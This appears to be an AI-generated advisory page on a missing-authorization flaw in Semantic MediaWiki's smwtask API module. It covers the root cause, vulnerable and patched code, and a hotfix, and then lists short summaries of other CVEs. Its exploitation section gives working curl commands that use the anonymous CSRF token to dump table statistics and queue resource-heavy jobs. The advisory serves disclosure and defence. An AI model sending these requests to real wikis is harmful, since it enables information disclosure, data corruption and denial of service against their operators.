CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-JR78-W6W5-M8F8

GHSA-JR78-W6W5-M8F8: Missing Authorization in Semantic MediaWiki smwtask API Module Allows Unauthenticated Administrative Actions

Alon Barad
Alon Barad
Software Engineer

Sep 18, 2026·6 min read·18 visits

Executive Summary (TL;DR)

A missing authorization vulnerability in Semantic MediaWiki's `smwtask` API allows unauthenticated remote attackers to execute administrative maintenance tasks, corrupt semantic data, and trigger Denial of Service by leveraging MediaWiki's default anonymous CSRF token.

Semantic MediaWiki starting from version 3.0.0 up to and including 7.2.1 is vulnerable to an unauthenticated missing authorization flaw in its `smwtask` API module. The endpoint fails to execute permission or privilege checks on callers. Instead, it relies on a CSRF token check, which can be satisfied by anonymous users using MediaWiki's static public CSRF token. Remote, unauthenticated attackers can exploit this flaw to retrieve internal database statistics, enqueue background jobs, run database queries, or trigger entity disposal processes, potentially leading to information disclosure, database corruption, and Denial of Service.

Vulnerability Overview

Semantic MediaWiki functions as a highly integrated metadata and knowledge management platform for MediaWiki environments. It provides users with structured database querying, semantic relationships, and complex backend maintenance utilities. While standard administrative actions are managed through terminal scripts or the web-based Special:SMWAdmin page—which correctly verifies group privileges—the extension also registers an API module named smwtask inside the src/MediaWiki/Api/Task.php directory.

This API module handles routine, automated database operations and background tasks. The attack surface of this module is exposed directly over standard HTTP/HTTPS channels through the core MediaWiki API router (api.php?action=smwtask). Unauthenticated clients can target this endpoint to interface with administrative-level backend routines without executing any prior login procedures.

The vulnerability is classified under CWE-862 (Missing Authorization) and carries a CVSS v3.1 base score of 7.3. Because the API fails to validate user capabilities, the underlying security model is entirely bypassed. Attackers can leverage this path to perform internal database enumeration, task manipulation, data modification, and resource exhaustion against vulnerable web installations.

Root Cause Analysis

The underlying technical flaw stems from a fundamental design misconception regarding MediaWiki's Cross-Site Request Forgery (CSRF) protection mechanisms. The developers of the smwtask module attempted to secure state-changing actions by requiring a valid CSRF token. This restriction was implemented by configuring the needsToken() method within the API class to return 'csrf'.

In the MediaWiki security architecture, CSRF tokens protect authenticated users against drive-by request forgery but do not serve as an authentication or authorization boundary. MediaWiki issues a fixed, public, static CSRF token (+\) to all anonymous (unauthenticated) visitor sessions to ensure they can perform basic interactions. Consequently, any remote script can generate a request, pass this token, and completely satisfy the CSRF check.

Once the CSRF token validation succeeds, the execute() method in the Task class immediately constructs and runs the requested task object. The code queries TaskFactory to initialize the task and executes its process() handler. At no point in this request lifecycle does the application check if the current user possesses the administrative rights mapped to the backend actions. This omission allows an unauthenticated visitor to execute functions intended only for administrators.

Code Analysis and Comparison

To understand the implementation mistake, we examine the vulnerable source code in src/MediaWiki/Api/Task.php at version 7.2.1. The controller class lacks any validation for the active user session rights:

	/**
	 * @see ApiBase::execute
	 */
	public function execute(): void {
		$params = $this->extractRequestParams();
 
		$parameters = json_decode(
			$params['params'],
			true
		);
 
		if ( json_last_error() !== JSON_ERROR_NONE || !is_array( $parameters ) ) {
			$this->dieWithError( [ 'smw-api-invalid-parameters' ] );
		}
 
		// Direct initialization with current user security context
		$task = $this->taskFactory->newByType( $params['task'], $this->getUser() );
 
		// If the `uselang` isn't set then inject the language from the
		// logged-in user
		if ( !isset( $parameters['uselang'] ) || $parameters['uselang'] === '' ) {
			$parameters['uselang'] = $this->getLanguage()->getCode();
		}
 
		// We must validate if the lang code is valid
		$parameters['uselang'] = RequestContext::sanitizeLangCode( $parameters['uselang'] );
 
		// Execution proceeds directly with no user rights assessment
		$results = $task->process(
			$parameters
		);
 
		$this->getResult()->addValue(
			null,
			'task',
			$results
		);
	}

The patch in version 7.3.0 resolves this defect by querying the user permissions against the required capability of the initialized task class. The inclusion of $this->checkUserRightsAny() ensures authorization is verified before any processing starts:

		$task = $this->taskFactory->newByType( $params['task'], $this->getUser() );
 
		// Authorize before running: each task declares the right it needs.
		// This module is not otherwise access-controlled. `needsToken( 'csrf' )`
		// is satisfied by the public anonymous token and does not gate on rights.
		$this->checkUserRightsAny( $task->getRequiredPermission() );

Exploitation and Attack Methodology

An attacker can exploit this vulnerability with standard HTTP tools. The exploit flow is divided into an initial reconnaissance phase followed by administrative invocation.

First, the attacker requests the standard MediaWiki token array. Since the attacker is anonymous, the engine returns the default token designed for guest sessions:

curl -s 'https://example.com/api.php?action=query&meta=tokens&type=csrf&format=json'

The application replies with the anonymous token:

{
  "query": {
    "tokens": {
      "csrftoken": "+\\"
    }
  }
}

Using this token, the attacker calls the smwtask endpoint to execute functions such as table-statistics. This action dumps sensitive table metadata:

curl -s -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'action=smwtask&task=table-statistics&params={}&token=%2B%5C&format=json' \
  'https://example.com/api.php'

An attacker can also inject tasks into the backend queue or force synchronous execution to exhaust server resources:

curl -s --data-urlencode 'action=smwtask' \
  --data-urlencode 'task=insert-job' \
  --data-urlencode 'params={"subject":"Main_Page#0##","job":"smw.fulltextSearchTableRebuild","parameters":{"mode":"full"}}' \
  --data-urlencode 'token=+\' \
  --data-urlencode 'format=json' \
  'https://example.com/api.php'

Impact Assessment

The impact of successful exploitation spans several dimensions of the CIA triad. In terms of confidentiality, the table-statistics and duplicate-lookup tasks permit unauthorized read access to internal database schemas, metadata counts, table configurations, and identifier mappings.

In terms of data integrity, the smw.entityIdDisposer task can be used to selectively delete, strip, or corrupt stored semantic records in the underlying database. Attackers can target specific page identifiers, deleting their semantic metadata and breaking relationships within the knowledge base.

In terms of availability, an attacker can trigger expensive maintenance operations synchronously through the run-joblist, update, and check-query tasks. Executing heavy full-text rebuilds or complex queries on the web server's main thread blocks the execution pool. Sending multiple parallel requests can exhaust PHP-FPM process threads, causing high load and leading to a Denial of Service.

Remediation and Hardening

The recommended remediation is upgrading Semantic MediaWiki to version 7.3.0 or later. This release implements explicit user rights checks on each executed task class.

For systems where an immediate package upgrade is not feasible, administrators can apply a temporary hotfix. This hotfix unregisters the smwtask module entirely from the active API router. To deploy this mitigation, add the following PHP code block to the bottom of the LocalSettings.php file:

// Temporary hotfix for GHSA-JR78-W6W5-M8F8
$wgExtensionFunctions[] = static function () {
      unset( $GLOBALS['wgAPIModules']['smwtask'] );
};

This modification blocks all access to the vulnerability by removing the endpoint from the API routing table. However, it will also disable any legitimate automated maintenance routines that rely on this endpoint.

Official Patches

SemanticMediaWikiSemantic MediaWiki 7.3.0 Release Patch

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Affected Systems

Semantic MediaWiki installations running versions 3.0.0 through 7.2.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
semantic-media-wiki
mediawiki
>= 3.0.0, <= 7.2.17.3.0
AttributeDetail
CWE IDCWE-862: Missing Authorization
Attack VectorNetwork (Unauthenticated)
CVSS v3.1 Score7.3 (High)
ImpactData Disclosure, Data Corruption, Denial of Service (DoS)
Exploit StatusProof of Concept (PoC)
Remediation StatusPatched in version 7.3.0

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1569.002System Services: Service Execution
Execution
T1020Automated Exfiltration
Exfiltration
CWE-862
Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

Known Exploits & Detection

GitHub Security AdvisoryFunctional curl commands and JSON structures to reproduce authorization bypass on smwtask endpoint

Vulnerability Timeline

Semantic MediaWiki version 7.3.0 is released, incorporating the missing authorization checks.
2026-09-16
GitHub Security Advisory GHSA-jr78-w6w5-m8f8 is publicly disclosed.
2026-09-18

References & Sources

  • [1]GitHub Advisory Database Entry
  • [2]GitHub Security Advisory (Source)
  • [3]Vulnerable Source Code (v7.2.1)
  • [4]Patched Source Code (v7.3.0)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•CVE-2026-118777
4.8

CVE-2026-118777: Prototype Pollution in Forge HTTP Client Cookie Management

CVE-2026-118777 is a prototype pollution vulnerability (CWE-1321) in the Forge JavaScript cryptography and networking library (distributed on npm as node-forge) prior to version 1.4.1. The flaw resides in the forge.http client subsystem, where incoming HTTP cookie names and paths parsed from Set-Cookie response headers are stored directly into standard JavaScript objects without key validation or property isolation. By returning crafted Set-Cookie headers containing keys such as __proto__ or constructor, a malicious HTTP server can inject arbitrary properties into Object.prototype, attach attributes to the global Object constructor, or delete built-in prototype methods to cause an application-wide denial of service.

Amit Schendel
Amit Schendel
8 views•10 min read
•1 day ago•CVE-2026-118775
3.7

CVE-2026-118775: ASN.1 OID First Arc Truncation and Ambiguity in node-forge

CVE-2026-118775 (GHSA-4642-5mcj-2rqw) is an integer overflow and validation flaw in the ASN.1 serialization module of Forge (node-forge) prior to version 1.4.1. The asn1.oidToDer() function fails to validate the range of the first two arcs of an Object Identifier (OID) and truncates the packed initial subidentifier to a single 8-bit integer. Applications that perform policy checks on untrusted OID strings before encoding them into Distinguished Encoding Rules (DER) format can be tricked into emitting DER bytes that correspond to a completely different, restricted OID.

Amit Schendel
Amit Schendel
10 views•10 min read
•1 day ago•CVE-2026-119194
7.5

CVE-2026-119194: Algorithmic Complexity Denial of Service in pyasn1 Schemaless ASN.1 Decoder

CVE-2026-119194 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting versions 0.3.3 through 0.6.4. The flaw resides in the schemaless decoding routine ConstructedPayloadDecoderBase._decodeComponentsSchemaless used across BER, CER, and DER codecs. By sending an ASN.1 container populated with child components whose tag identifiers are separated by multiples of CPython's integer hash modulus (sys.hash_info.modulus), an unauthenticated attacker can force worst-case hash collisions in an unbounded Python set, degrading decoding performance from O(N) to O(N^2) and causing a Denial of Service (DoS).

Alon Barad
Alon Barad
8 views•9 min read
•1 day ago•CVE-2026-119195
7.5

CVE-2026-119195: Quadratic-Time Denial of Service in pyasn1 BER/CER/DER Decoders

CVE-2026-119195 is an algorithmic complexity vulnerability (CWE-407) in the pyasn1 library for Python, affecting all versions prior to 0.6.5. When decoding constructed strings or indefinite-length ANY types across BER, CER, and certain DER code paths, the payload decoders repeatedly concatenate incoming fragments onto an immutable bytes object using the += operator. Because Python bytes objects cannot be resized in-place, each fragment iteration allocates a new buffer and copies all previously accumulated bytes, resulting in quadratic O(N^2) time and memory copy complexity. An unauthenticated remote attacker can supply a highly fragmented ASN.1 stream to exhaust CPU cycles and stall application worker threads.

Amit Schendel
Amit Schendel
9 views•10 min read
•1 day ago•CVE-2026-119197
7.5

CVE-2026-119197: Quadratic Algorithmic Complexity Denial of Service in pyasn1 REAL Mantissa Decoder

An algorithmic complexity vulnerability (CWE-407) in pyasn1 versions prior to 0.6.5 allows unauthenticated attackers to cause a Denial of Service (DoS) via crafted ASN.1 payloads. The flaw resides in the binary-encoded ASN.1 REAL mantissa deserialization routine within RealPayloadDecoder.valueDecoder. By performing iterative byte-string slicing and repeated bitwise shifts on a growing arbitrary-precision integer, the decoder exhibits quadratic time and memory allocation complexity relative to the mantissa length. Supplying a BER-, CER-, or DER-encoded payload with a large REAL mantissa causes excessive CPU consumption and blocks application worker processes.

Amit Schendel
Amit Schendel
8 views•10 min read
•1 day ago•CVE-2026-119196
7.5

CVE-2026-119196: Quadratic CPU Consumption in pyasn1 Constructed BIT STRING Decoding

A vulnerability classified under CWE-407 (Inefficient Algorithmic Complexity) exists in the pyasn1 library prior to version 0.6.5. When parsing constructed ASN.1 BIT STRING payloads under BER, CER, or schema-driven DER encoding rules, the BitStringPayloadDecoder repeatedly shifts and copies the entire accumulated bit value for each incoming fragment. Processing inputs with a large number of small constructed fragments induces quadratic CPU consumption, allowing unauthenticated remote attackers to cause a denial of service via resource exhaustion during the initial decoding phase.

Alon Barad
Alon Barad
9 views•10 min read